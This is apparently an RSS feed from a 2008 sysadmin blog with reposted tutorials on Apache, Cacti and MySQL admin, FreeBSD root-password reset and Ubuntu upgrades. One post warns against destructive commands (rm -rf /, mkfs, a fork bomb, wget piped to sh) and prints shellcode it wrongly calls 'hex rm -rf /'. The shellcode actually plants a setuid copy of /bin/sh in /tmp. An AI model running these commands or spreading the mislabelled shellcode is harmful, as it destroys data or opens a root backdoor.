<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>A-DayS</title>
	<link>http://www.a-days.com</link>
	<description>Just another WordPress weblog</description>
	<pubDate>Fri, 19 Dec 2008 13:59:21 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
	<language>en</language>
			<item>
		<title>How to disable directory browsing , APACHE</title>
		<link>http://www.a-days.com/index.php/2008/12/19/how-to-disable-directory-browsing-apache/</link>
		<comments>http://www.a-days.com/index.php/2008/12/19/how-to-disable-directory-browsing-apache/#comments</comments>
		<pubDate>Fri, 19 Dec 2008 13:59:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Apache]]></category>

		<guid isPermaLink="false">http://www.a-days.com/index.php/2008/12/19/how-to-disable-directory-browsing-apache/</guid>
		<description><![CDATA[
                                                       [...]]]></description>
			<content:encoded><![CDATA[<p><font size="2"></p>
<p id="excerpt">                                              <font size="2" face="Verdana, Arial, Helvetica, sans-serif">                                                 <em>One of the &#8220;must do&#8217;s&#8221; on setting a secure apache webserver environment is to disable directory browsing. As a default Apache will be compiled with this option enabled, but its always a good idea to get rid of this setting unless its really necessary. If you have some basic knowledge of vi editor follow this steps</em><br />
</font></p>
<p></font>                                                                                   <font size="2" face="Verdana, Arial, Helvetica, sans-serif"><br />
If you are on an RPM installation of Apache (which i dont really recommend) you will find the apache configuration file probably here:</p>
<p>/etc/httpd/conf/httpd.conf</p>
<p>If you are using apache from the source tar balls ( like real men ) probably you will find the configuration file here:</p>
<p>/usr/local/apache/conf/httpd.conf</p>
<p>Using an editor like vi , edit the httpd.conf file and scroll until you find a line like this:<br />
<br style="font-weight: bold" />                                              <span style="font-weight: bold">  Options All Indexes FollowSymLinks MultiViews</span></p>
<p>To disable directory browsing carefully remove the line that says: Indexes and leave the line like this:</p>
<p><span style="font-weight: bold"> Options All FollowSymLinks MultiViews</p>
<p>Restart your apache webserver and thats it</span></font></p>
<p><strong>ref : http://felipecruz.com/blog_disable-directory-listing-browsing-apache.php </strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-days.com/index.php/2008/12/19/how-to-disable-directory-browsing-apache/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The 7 Deadly Linux Commands</title>
		<link>http://www.a-days.com/index.php/2008/11/21/the-7-deadly-linux-commands/</link>
		<comments>http://www.a-days.com/index.php/2008/11/21/the-7-deadly-linux-commands/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 09:21:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[General Blog]]></category>

		<guid isPermaLink="false">http://www.a-days.com/index.php/2008/11/21/the-7-deadly-linux-commands/</guid>
		<description><![CDATA[If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands [...]]]></description>
			<content:encoded><![CDATA[<p>If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.</p>
<p>1. Code:</p>
<p style="text-align: left; font-weight: bold"><span style="font-style: italic"><br />
rm -rf /</span></p>
<p style="text-align: justify">
This command will recursively and forcefully delete all the files inside the root directory.<br />
2. Code:</p>
<p><span style="font-style: italic"></span><span style="font-style: italic; font-weight: bold">char esp[] __attribute__ ((section(&#8221;.text&#8221;))) /* e.s.p</span><br />
<span style="font-style: italic; font-weight: bold">release */</span><br />
<span style="font-style: italic; font-weight: bold">                = &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;</span><br />
<span style="font-style: italic; font-weight: bold">                  &#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;</span><br />
<span style="font-style: italic; font-weight: bold">                  &#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;</span><br />
<span style="font-style: italic; font-weight: bold">                  &#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;</span><br />
<span style="font-style: italic; font-weight: bold">                  &#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;</span><br />
<span style="font-style: italic; font-weight: bold">                  &#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;</span><br />
<span style="font-style: italic; font-weight: bold">                  &#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;</span><br />
<span style="font-style: italic; font-weight: bold">                  &#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755</span><br />
<span style="font-style: italic; font-weight: bold">/tmp/.beyond;&#8221;;</span></p>
<p style="text-align: left">This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.</p>
<p>3. Code:</p>
<p><span style="font-weight: bold; font-style: italic">mkfs.ext3 /dev/sda</span></p>
<p style="text-align: justify">This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.</p>
<p>4. Code:</p>
<p><span style="font-weight: bold; font-style: italic">:(){:|:&amp;};:</span></p>
<p style="text-align: justify">Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.</p>
<p>5. Code:</p>
<p><span style="font-weight: bold; font-style: italic">any_command &gt; /</span><span style="font-weight: bold; font-style: italic" class="blsp-spelling-error" id="SPELLING_ERROR_0"><span class="blsp-spelling-error" id="SPELLING_ERROR_0">dev</span></span><span style="font-weight: bold; font-style: italic">/</span><span style="font-weight: bold; font-style: italic" class="blsp-spelling-error" id="SPELLING_ERROR_1"><span class="blsp-spelling-error" id="SPELLING_ERROR_1">sda</span></span></p>
<p style="text-align: justify">With this command, raw data will be written to a block device that can usually clobber the <span class="blsp-spelling-error" id="SPELLING_ERROR_2"><span class="blsp-spelling-error" id="SPELLING_ERROR_2">filesystem</span></span> resulting in total loss of data.</p>
<p>6. Code: <span class="blsp-spelling-error" id="SPELLING_ERROR_3"></p>
<p></span><span style="font-weight: bold; font-style: italic" class="blsp-spelling-error" id="SPELLING_ERROR_3"><span class="blsp-spelling-error" id="SPELLING_ERROR_3">wget</span></span><span style="font-weight: bold; font-style: italic"> http://some_untrusted_source -O- | sh</span></p>
<p>Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.</p>
<p>7. Code: <span class="blsp-spelling-error" id="SPELLING_ERROR_4"></p>
<p></span><span style="font-weight: bold; font-style: italic" class="blsp-spelling-error" id="SPELLING_ERROR_4"><span class="blsp-spelling-error" id="SPELLING_ERROR_4">mv</span></span><span style="font-weight: bold; font-style: italic"> /home/</span><span style="font-weight: bold; font-style: italic" class="blsp-spelling-error" id="SPELLING_ERROR_5"><span class="blsp-spelling-error" id="SPELLING_ERROR_5">yourhomedirectory</span></span><span style="font-weight: bold; font-style: italic">/* /</span><span style="font-weight: bold; font-style: italic" class="blsp-spelling-error" id="SPELLING_ERROR_6"><span class="blsp-spelling-error" id="SPELLING_ERROR_6">dev</span></span><span style="font-weight: bold; font-style: italic">/null</span></p>
<p style="text-align: justify">This command will move all the files inside your home directory to a place that doesn&#8217;t exist; hence you will never ever see those files again.</p>
<p>There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.</p>
<p>ref : http://www.junauza.com/2008/11/7-deadly-linux-commands.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-days.com/index.php/2008/11/21/the-7-deadly-linux-commands/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Zip Files in Ubuntu CLI</title>
		<link>http://www.a-days.com/index.php/2008/11/06/zip-files-in-ubuntu-cli/</link>
		<comments>http://www.a-days.com/index.php/2008/11/06/zip-files-in-ubuntu-cli/#comments</comments>
		<pubDate>Thu, 06 Nov 2008 00:16:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.a-days.com/index.php/2008/11/06/zip-files-in-ubuntu-cli/</guid>
		<description><![CDATA[If you want to work with zip files in Ubuntu command line interface, you will need these commands: zip and unzip.
Zip
To install zip if you don’t already have it, do this
sudo apt-get install zip
The simplest way to create a zip file (archive) is
zip myzipfile.zip file1 file2 file3 &#8230;
Where myzipfile.zip is the file (zip archive) you [...]]]></description>
			<content:encoded><![CDATA[<p>If you want to work with zip files in Ubuntu command line interface, you will need these commands: zip and unzip.<br />
<strong>Zip</strong></p>
<p>To install zip if you don’t already have it, do this</p>
<p>sudo apt-get install zip</p>
<p>The simplest way to create a zip file (archive) is</p>
<p>zip myzipfile.zip file1 file2 file3 &#8230;</p>
<p>Where myzipfile.zip is the file (zip archive) you are creating and file1, file2, file3, and so on, are the files you are including in that archive. So let’s say you need to create a zip file of your resum? which is in different file formats, you would something like</p>
<p>zip myresume.zip resume.odt resume.pdf resume.doc resume.txt<br />
<strong>Unzip</strong></p>
<p>To unzip files, you need to have a command called unzip. To install unzip if you don’t already have it, do this</p>
<p>sudo apt-get install unzip</p>
<p>The simplest way to extract all files from a zip archive is</p>
<p>unzip myzipfile.zip</p>
<p>Where myzipfile.zip is the file (zip archive) you are unzipping. So let’s say you need to extract (unzip) a zip file of your resum? which contains different files, you would something like</p>
<p>unzip myresume.zip</p>
<p>ref : http://codeghar.wordpress.com/2007/12/08/zip-files-in-ubuntu-cli/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-days.com/index.php/2008/11/06/zip-files-in-ubuntu-cli/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Reset Cacti Password, step by step</title>
		<link>http://www.a-days.com/index.php/2008/11/03/reset-cacti-password-step-by-step/</link>
		<comments>http://www.a-days.com/index.php/2008/11/03/reset-cacti-password-step-by-step/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 14:39:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Cacti]]></category>

		<guid isPermaLink="false">http://www.a-days.com/index.php/2008/11/03/reset-cacti-password-step-by-step/</guid>
		<description><![CDATA[1. Checking for cacti location and see db setting.
monitor# pwd
/usr/local/share/cacti/include
see setting dbnya.
monitor# cat db-settings.php
&#60;?php
/* make sure these values refect your actual database/host/user/password */
$database_type = &#8220;mysql&#8221;;
 $database_default = &#8220;cacti&#8221;;
$database_hostname = &#8220;localhost&#8221;;
 $database_username = &#8220;cacti&#8221;;
$database_password = &#8220;cacti&#8221;;
$database_port = &#8220;3306&#8243;;
?&#62;
2. Enter database with information taken from db-settings.php information.
monitor# mysql -ucacti -p
Enter password:
Welcome to the MySQL monitor.  Commands end [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1. Checking for cacti location and see db setting.</strong></p>
<blockquote><p>monitor# pwd</p></blockquote>
<p>/usr/local/share/cacti/include</p>
<p>see setting dbnya.</p>
<blockquote><p>monitor# cat db-settings.php</p></blockquote>
<p>&lt;?php<br />
/* make sure these values refect your actual database/host/user/password */<br />
$database_type = &#8220;mysql&#8221;;<br />
<strong> $database_default = &#8220;cacti&#8221;;</strong><br />
$database_hostname = &#8220;localhost&#8221;;<br />
<strong> $database_username = &#8220;cacti&#8221;;<br />
$database_password = &#8220;cacti&#8221;;</strong><br />
$database_port = &#8220;3306&#8243;;<br />
?&gt;</p>
<p><strong>2. Enter database with information taken from db-settings.php information.</strong></p>
<blockquote><p>monitor# mysql -ucacti -p</p></blockquote>
<p>Enter password:<br />
Welcome to the MySQL monitor.  Commands end with ; or \g.<br />
Your MySQL connection id is 8343<br />
Server version: 5.0.45 FreeBSD port: mysql-server-5.0.45_1</p>
<p>Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.</p>
<p>mysql&gt;</p>
<blockquote><p>mysql&gt; use cacti;</p></blockquote>
<p>Reading table information for completion of table and column names<br />
You can turn off this feature to get a quicker startup with -A</p>
<p>Database changed</p>
<blockquote><p> mysql&gt; select * from auth_user;</p></blockquote>
<p>ERROR 1146 (42S02): Table ‘cacti.auth_user’ doesn’t exist</p>
<p>Ups, my bad <img src="http://www.rasyid.net/wp-includes/images/smilies/icon_smile.gif" alt=":-)" class="wp-smiley" title="icon smile photo" /></p>
<blockquote><p> mysql&gt; select * from user_auth;</p></blockquote>
<p>+—-+———-+————-<wbr></wbr>———————+——-+<wbr></wbr>—————+————–<wbr></wbr>——–+———–+———<wbr></wbr>–+————–+————<wbr></wbr>—-+————+————<wbr></wbr>—+————–+———–<wbr></wbr>—+————————+<br />
| id | username | password                      <wbr></wbr>   | realm | full_name     | must_change_password | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates |<br />
+—-+———-+————-<wbr></wbr>———————+——-+<wbr></wbr>—————+————–<wbr></wbr>——–+———–+———<wbr></wbr>–+————–+————<wbr></wbr>—-+————+————<wbr></wbr>—+————–+———–<wbr></wbr>—+————————+<br />
|  1 | admin    | 7a40008b8368b684bec2286db1b073e<wbr></wbr>2 |     0 | Administrator |                      | on        | on        | on           | on             |          1 |             1 |            1 |            1 |                      1 |<br />
|  3 | monitor  | 719daab8833968dc805a345c58545ea<wbr></wbr>6 |     0 | monitoring    |                      | on        | on        | on           | on             |          3 |             1 |            1 |            1 |                      1 |<br />
|  7 | crash    | ac43724f16e9241d990427ab7c8f422<wbr></wbr>8 |     0 | Nsun T        |                      | on        | on        | on           | on             |          3 |             1 |            1 |            1 |                      1 |<br />
+—-+———-+————-<wbr></wbr>———————+——-+<wbr></wbr>—————+————–<wbr></wbr>——–+———–+———<wbr></wbr>–+————–+————<wbr></wbr>—-+————+————<wbr></wbr>—+————–+———–<wbr></wbr>—+————————+<br />
3 rows in set (0.00 sec)</p>
<p>mysql&gt;exit</p>
<p><strong>3. Generate new password with md5 utility.</strong></p>
<blockquote><p>monitor# md5 -s mypassword</p></blockquote>
<p>MD5 (&#8221;mypassword&#8221;) = 34819d7beeabb9260a5c854bc85b3e4<wbr></wbr>4</p>
<p><strong>4. Update database value with new created password string.</strong></p>
<blockquote><p>monitor# mysql -ucacti -p</p></blockquote>
<p>Enter password:<br />
Welcome to the MySQL monitor.  Commands end with ; or \g.<br />
Your MySQL connection id is 8344<br />
Server version: 5.0.45 FreeBSD port: mysql-server-5.0.45_1</p>
<p>Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.</p>
<p>mysql&gt;<br />
mysql&gt; update user_auth set password=&#8217;34819d7beeabb9260a5c8<wbr></wbr>54bc85b3e44&#8242; where username=&#8217;admin&#8217;;</p>
<p>ref : http://www.rasyid.net/2008/04/13/reset-cacti-password-step-by-step/</p>
<blockquote></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-days.com/index.php/2008/11/03/reset-cacti-password-step-by-step/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A list of Unix commands</title>
		<link>http://www.a-days.com/index.php/2008/10/31/a-list-of-unix-commands/</link>
		<comments>http://www.a-days.com/index.php/2008/10/31/a-list-of-unix-commands/#comments</comments>
		<pubDate>Fri, 31 Oct 2008 08:26:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Command Line]]></category>

		<guid isPermaLink="false">http://www.a-days.com/index.php/2008/10/31/a-list-of-unix-commands/</guid>
		<description><![CDATA[ Control Character Commands
^ h
Backspace.
^ d
End text input, EOF for mail, write
(also acts as logout command).
^ w
Delete last word typed.
^ u
Delete (undo) last line typed.
^ r
Repeat last line typed.
^ s
Stop the screen from scrolling
(sometimes takes a while to be effective).
^ q
Unlock terminal screen, continue scrolling.
^ c
Interrupt running program ([Del] in System V).
^ z
Suspend running program, and [...]]]></description>
			<content:encoded><![CDATA[<p><strong> Control Character Commands</strong><br />
<strong>^ h</strong><br />
Backspace.<br />
<strong>^ d</strong><br />
End text input, EOF for mail, write<br />
(also acts as logout command).<br />
<strong>^ w</strong><br />
Delete last word typed.<br />
<strong>^ u</strong><br />
Delete (undo) last line typed.<br />
<strong>^ r</strong><br />
Repeat last line typed.<br />
<strong>^ s</strong><br />
Stop the screen from scrolling<br />
(sometimes takes a while to be effective).<br />
<strong>^ q</strong><br />
Unlock terminal screen, continue scrolling.<br />
<strong>^ c</strong><br />
Interrupt running program ([Del] in System V).<br />
<strong>^ z</strong><br />
Suspend running program, and send it to the background<br />
(fg brings it back to the foreground. Note: while a program is in the background it doesn&#8217;t run. It must be brought to the foreground to resume).</p>
<p>Getting Help</p>
<p><strong>man  command</strong></p>
<p>displays the manual page for the given command.</p>
<p><strong>man  -k  keyword</strong></p>
<p>looks up the given keyword in an index and lists the commands that may be relevant.</p>
<p><strong>Navigating within the file system</strong></p>
<p><strong>pwd</strong><br />
shows the full path of your current working directory<br />
<strong>cd</strong><br />
change directory</p>
<p><strong>* cd ~username</strong>: home directory of user<br />
<strong>* cd ..</strong>: to go up to parent directory</p>
<p><strong>mkdir</strong><br />
creates a new directory<br />
<strong>rmdir</strong><br />
deletes a directory, if it is empty<br />
<strong>rm -r</strong><br />
deleltes a directory with all its contents<br />
<strong>ls</strong><br />
lists the contents of a directory</p>
<p><strong>* ls -l</strong>: a long listing,in alphabetical order, showing permissions, filesize, date and time of file modification, and filename.<br />
<strong>* ls -a</strong>: a complet file list, including files whose name begins with a dot.<br />
<strong>* ls -t</strong>: lists files according to date and time of modification (newest first).</p>
<p><strong>Manipulating files</strong></p>
<p><strong>cp</strong><br />
copy a file or directory<br />
<strong>mv</strong><br />
moves a file/directory to a new location or renames a file/directory</p>
<p><strong>* mv -i</strong>: prompts user if an existing file is about to be overwritten</p>
<p><strong>rm</strong><br />
deletes files/directories</p>
<p><strong>* rm -r</strong>: deletes a directory and all its contents<br />
<strong>* rm -i</strong>: prompts user before deleting a file</p>
<p><strong>cmp</strong><br />
compares two files and writes out a list of differences between them<br />
<strong>diff</strong><br />
compares two files and gives a detailed list of differences between them<br />
<strong>sort</strong><br />
sorts the contents of a file</p>
<p><strong>* sort -n</strong>: sort by numerical value<br />
<strong>* sort</strong>: (no option) sort alphabetically<br />
<strong>* sort -r</strong>: display in reverse order<br />
<strong>* sort -u</strong>: remove duplicate lines</p>
<p><strong>grep</strong><br />
search a file or list of files for a specific pattern</p>
<p><strong>Displaying the contents of a file</strong></p>
<p><strong>more</strong><br />
displays the contents of the file on your screen, and allows you to scroll through one screenful at a time. Also has crude search possibilities<br />
<strong>view</strong><br />
uses a read-only version of the vi text-editor to display a file oni your screen.view does not allow editing of the file<br />
<strong>head</strong><br />
allows you to display the start of a file</p>
<p><strong>* head - [number]</strong>:displays the first [number] lines of a file</p>
<p><strong>tail</strong><br />
allows you to display the end of a file</p>
<p><strong>* tail - [number]</strong>: displays the last [number] lines of a file</p>
<p><strong>cat</strong><br />
concatenates the contents of a file and displays them on your screen. If more than one file is specified then all files will be displayed one after the other.</p>
<p><strong>Wildcards</strong></p>
<p><strong>*</strong>     An asterisk matches any number of characters<br />
in a filename, including none.<br />
<strong>?  </strong>   The question mark matches any single<br />
character.<br />
<strong>[ ] </strong>  Brackets enclose a set of characters, any<br />
one of which may match a single character<br />
at that position.<br />
<strong>- </strong>    A hyphen used within [ ] denotes a range of<br />
characters.<br />
<strong>~</strong>     A tilde at the beginning of a word expands<br />
to the name of your home directory.  If you<br />
append another user&#8217;s login name to the<br />
character, it refers to that user&#8217;s home<br />
directory.</p>
<p><strong>Redirecting Output</strong></p>
<p><strong>&lt;</strong><br />
specifies a file from which input must be taken</p>
<p>* command &lt; filename:take input from file filename</p>
<p><strong>&gt;</strong><br />
specifies file to which output must be sent</p>
<p>* command &gt; filename:send output of command to filename (if filename does not exist it will be created)</p>
<p><strong>|</strong><br />
pipe. Takes the output of a command and uses it for the input of another command</p>
<p>* command1 | command2:take output of command1 and send it (pipe it) to command2</p>
<p><strong>Remote access to a UNIX system</strong></p>
<p><strong>ftp</strong><br />
file transfer protocol. Used to transfer files from one system to another (between UNIX systems or between A UNIX system and a different system. ftp does not allow commands other than those for file transfer<br />
ftp commands:</p>
<p>* ftp remote.host to connect to remote system<br />
* cd: to change directory on remote host<br />
* lcd:to change directory on local system, without quitting ftp<br />
* get filename: bring filename from remote system to local one<br />
* mget file1 file2: multiple get, brings all files specified from remote system to local<br />
* put filename: transfer filename from local system to remote one<br />
* mput file1 file2: multiple put, transfers all files specified from local system to remote</p>
<p><strong>telnet</strong><br />
login to remote system, and work as on local system. Unlike ftp, with telnet it is possible to perform commands</p>
<p>ref : http://www.biu.ac.il/LS/bio/unixintro/commands.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-days.com/index.php/2008/10/31/a-list-of-unix-commands/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to open Slow query logging in mysql</title>
		<link>http://www.a-days.com/index.php/2008/10/28/how-to-open-slow-query-logging-in-mysql/</link>
		<comments>http://www.a-days.com/index.php/2008/10/28/how-to-open-slow-query-logging-in-mysql/#comments</comments>
		<pubDate>Tue, 28 Oct 2008 10:27:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.a-days.com/index.php/2008/10/28/how-to-open-slow-query-logging-in-mysql/</guid>
		<description><![CDATA[
A query is considered as slow if it takes more than “long_query_time” seconds to execute. By default, the value of this variable is set to “1″.
1). Identifying MySQL slow queries
************************************
First let’s check on the mysql server if we have slow query logging enabled:
mysqladmin var &#124;grep log_slow_queries &#124; log_slow_queries &#124; OFF
2) . Activate the logging of [...]]]></description>
			<content:encoded><![CDATA[<p class="entry">
<p class="snap_preview">A query is considered as slow if it takes more than “long_query_time” seconds to execute. By default, the value of this variable is set to “1″.</p>
<p>1). Identifying MySQL slow queries<br />
************************************</p>
<p>First let’s check on the mysql server if we have slow query logging enabled:</p>
<p>mysqladmin var |grep log_slow_queries | log_slow_queries | OFF</p>
<p>2) . Activate the logging of mysql slow querie<br />
************************************************<br />
MySQL allows  to log slow running queries to a file. To enable slow query logging, just add the following lines to /etc/my.cnf, and restart mysql.</p>
<p>log-slow-queries = /var/log/mysql/mysql-slow.log<br />
long_query_time = 1</p>
<p>This configuration will log all queries that take more than 1 sec in the file /var/log/mysql/mysql-slow.log.</p>
<p>Another alternative for enabling this feature is to restart mysql with the –log-slow-queries[=file_name] option.</p>
<p>2. Investigate the mysql slow queries log<br />
*******************************************</p>
<p>MySQL gives us a small tool that does exactly this: mysqldumpslow</p>
<p>For example using:</p>
<p>mysqldumpslow -s c -t 10</p>
<p>We get the top 10 queries (-t 10) sorted by the number of occurrences in the log (-s c).</p>
<p>ref : http://praji.wordpress.com/slow-query-logging-in-mysql/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-days.com/index.php/2008/10/28/how-to-open-slow-query-logging-in-mysql/feed/</wfw:commentRss>
		</item>
		<item>
		<title>FreeBSD reset or recover root password</title>
		<link>http://www.a-days.com/index.php/2008/10/28/freebsd-reset-or-recover-root-password/</link>
		<comments>http://www.a-days.com/index.php/2008/10/28/freebsd-reset-or-recover-root-password/#comments</comments>
		<pubDate>Tue, 28 Oct 2008 05:55:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://www.a-days.com/index.php/2008/10/28/freebsd-reset-or-recover-root-password/</guid>
		<description><![CDATA[With FreeBSD 5.4 and above the booting procedure is slightly changed. Under ilder version of FreeBSD use boot -s option at Ok prompt.
However, with version FreeBSD 5.4+ you don&#8217;t have to type any command. Here is the procedure to boot FreeBSD into a single user mode to reset root password.
In this tip I will explain [...]]]></description>
			<content:encoded><![CDATA[<p>With FreeBSD 5.4 and above the booting procedure is slightly changed. Under ilder version of FreeBSD use <strong>boot -s</strong> option at Ok prompt.<br />
However, with version FreeBSD 5.4+ you don&#8217;t have to type any command. Here is the procedure to boot FreeBSD into a single user mode to reset root password.</p>
<p>In this tip I will explain how to boot <a href="http://freebsd.org/">FreeBSD</a> into a single user mode to reset root password.</p>
<h2>Procedure: Reset FreeBSD root user password</h2>
<p>Step # 1: Start FreeBSD server/workstation</p>
<p>Step # 2: Press Enter key at boot loader</p>
<p>At Welcome to FreeBSD! boot menu press spacebar key to pause default booting</p>
<p>Type number 4 key (type 4 number) to boot into single user mode</p>
<p>Next you will see following prompt from system:<br />
<code>When prompted Enter full pathname of shell or RETURN for /bin/sh:</code></p>
<p>Press <strong>Enter key</strong> to boot into single user mode. Next, you will be immediately dropped into a single user mode without a root password.</p>
<p>You need to remount / (root) file system in read and write mode with mount command, type following two commands:<br />
<code># mount -u /<br />
# mount -a</code></p>
<p>Setup a new password with passwd command:<br />
<code># passwd</code></p>
<p>Next type exit command to boot FreeBSD into multi-user mode environment:<br />
<code># exit</code><br />
OR You can just reboot the system:<br />
<code># sync;sync<br />
# reboot</code></p>
<p>For more information read man pages of passwd and mount command.</p>
<p>ref : http://www.cyberciti.biz/tips/howto-freebsd-reset-recover-root-password.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-days.com/index.php/2008/10/28/freebsd-reset-or-recover-root-password/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to Upgrade Ubuntu Server from Feisty (7.04) to Hardy (8.04)</title>
		<link>http://www.a-days.com/index.php/2008/10/21/how-to-upgrade-ubuntu-server-from-feisty-704-to-hardy-804/</link>
		<comments>http://www.a-days.com/index.php/2008/10/21/how-to-upgrade-ubuntu-server-from-feisty-704-to-hardy-804/#comments</comments>
		<pubDate>Tue, 21 Oct 2008 07:40:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.a-days.com/index.php/2008/10/21/how-to-upgrade-ubuntu-server-from-feisty-704-to-hardy-804/</guid>
		<description><![CDATA[This tutorial will explain how to upgrade Ubuntu Server from Feisty to Hardy
Step 1: Feisty to Gusty Upgrade
first be sure your feisty up-to-date
sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade

if everything ok, ready for upgrade to gusty.
nano /etc/apt/source.list

all change &#8220;feisty&#8221; to &#8220;gutsy&#8221;
save and exit (ctrl-x, yes)
sudo apt-get update
sudo apt-get dist-upgrade
(one package doesn&#8217;t upgrade : mailscanner
but this [...]]]></description>
			<content:encoded><![CDATA[<p>This tutorial will explain how to upgrade Ubuntu Server from Feisty to Hardy<br />
Step 1: Feisty to Gusty Upgrade<br />
first be sure your feisty up-to-date</p>
<p>sudo apt-get update<br />
sudo apt-get upgrade<br />
sudo apt-get dist-upgrade<br />
<span class="fullpost"><br />
if everything ok, ready for upgrade to gusty.<br />
nano /etc/apt/source.list<br />
</span></p>
<p><span class="fullpost">all change &#8220;feisty&#8221; to &#8220;gutsy&#8221;<br />
save and exit (ctrl-x, yes)</span></p>
<p>sudo apt-get update<br />
sudo apt-get dist-upgrade</p>
<p>(one package doesn&#8217;t upgrade : mailscanner<br />
but this step its fix:<br />
nano /etc/init.d/mailscanner</p>
<p>around 124 line (do_stop function) add &#8216;exit 0&#8242;</p>
<p>do_stop()<br />
{ exit 0<br />
# Return<br />
# 0 if daemon has been stopped<br />
# 1 if daemon was already stopped<br />
# 2 if daemon could not be stopped<br />
# other if a failure occurred<br />
start-stop-daemon &#8211;stop &#8211;retry=TERM/30 &#8211;name $NAME<br />
RETVAL=&#8221;$?&#8221;<br />
[ &#8220;$RETVAL&#8221; = 2 ] &amp;&amp; return 2</p>
<p># Remove lockfile for cronjobs<br />
if [ $RETVAL -eq 0 ]; then<br />
rm -f /var/lock/subsys/mailscanner<br />
touch $stopped_lockfile<br />
fi</p>
<p>}</p>
<p>save and exit.</p>
<p>and re-apply<br />
sudo apt-get dist-upgrade</p>
<p>command. its works. there some warning related with mailscanner but not important (for now)<br />
and reboot<br />
my server is gutsy, now.</p>
<p>step 2. Gutsy to Hardy upgrade<br />
nano /etc/apt/source.list</p>
<p>all change &#8220;gutsy&#8221; to &#8220;hardy&#8221;<br />
save and exit (ctrl-x, yes)</p>
<p>sudo apt-get update<br />
sudo apt-get dist-upgrade</p>
<p>one package doesn&#8217;t upgrade : mailscanner<br />
but no problem</p>
<p>reboot</p>
<p>mailscanner fix:</p>
<p>first backup your mailscanner folder. (/etc/mailscanner)</p>
<p>sudo cp -R /etc/mailscanner /etc/mailscanner_backup</p>
<p>sudo apt-get remove &#8211;purge mailscanner</p>
<p>(if removing results same error, around 124 line (do_stop function) add &#8216;exit 0&#8242;)</p>
<p>wget http://http.us.debian.org/debian/pool/main/m/mailscanner/mailscanner_4.68.8-1_all.deb<br />
sudo dpkg -i mailscanner_4.68.8-1_all.deb</p>
<p>and</p>
<p>nano /etc/default/mailscanner</p>
<p># Uncomment this line once MailScanner has been fully configured.<br />
#<br />
run_mailscanner=1</p>
<p>save and exit..</p>
<p>replace your backup mailscanner folder (/etc/mailscanner)</p>
<p>sudo cp -R /etc/mailscanner_backup /etc/mailscanner</p>
<p>/etc/init.d/mailscanner start</p>
<p>To find your Ubuntu version:</p>
<p>lsb_release -a</p>
<p>ref : http://swik.net/Ubuntu/Only+Ubuntu/How+to+Upgrade+Ubuntu+Server+from+Feisty+(7.04)++to+Hardy+(8.04)/b434c</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-days.com/index.php/2008/10/21/how-to-upgrade-ubuntu-server-from-feisty-704-to-hardy-804/feed/</wfw:commentRss>
		</item>
		<item>
		<title>FreeBSD Setup 2 IP address on One NIC ( IP alias )</title>
